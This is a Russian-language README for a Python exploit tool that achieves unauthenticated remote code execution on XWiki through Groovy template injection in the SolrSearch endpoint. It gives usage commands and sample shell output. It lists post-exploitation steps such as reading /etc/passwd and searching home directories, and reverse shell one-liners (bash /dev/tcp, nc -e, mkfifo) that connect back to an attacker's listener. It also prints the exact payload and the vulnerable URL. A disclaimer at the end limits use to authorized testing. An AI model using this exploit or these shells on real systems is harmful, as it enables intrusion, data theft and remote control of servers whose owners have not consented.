
Удаленное выполнение кода без аутентификации в XWiki через макрос SolrSearch
Эксплойт на Python для уязвимости Server-Side Template Injection (SSTI) в XWiki через инъекцию шаблонов Groovy в конечной точке SolrSearch.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
Это предоставит интерактивную псевдо-оболочку, в которой можно выполнять команды:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: URL цели (обязательный)-c, --command CMD: Выполнить одну команду--test: Проверить, уязвима ли цель--no-verify-ssl: Отключить проверку сертификата SSL--debug: Включить отладочный выводСбор информации:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Поиск интересных файлов:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Сетевая информация:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Настройка обратной оболочки:
# На машине атакующего запустите слушатель:
nc -lvnp 1337
# Из эксплойта (попробуйте разные методы):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
Эксплойт использует следующую структуру полезной нагрузки SSTI:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
Полезная нагрузка кодируется в URL и отправляется на уязвимую конечную точку:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
Сервер обрабатывает шаблон Groovy и выполняет команду
Вывод захватывается из ответа RSS-ленты в формате:
search on [}}OUTPUT]
Эксплойт обрабатывает HTML-ответ для извлечения вывода команды
xwiki (uid=997)/usr/lib/xwiki-jettyЭтот инструмент предназначен исключительно для образовательных целей и авторизованного тестирования на проникновение. Используйте его только на системах, на которые у вас есть разрешение на тестирование.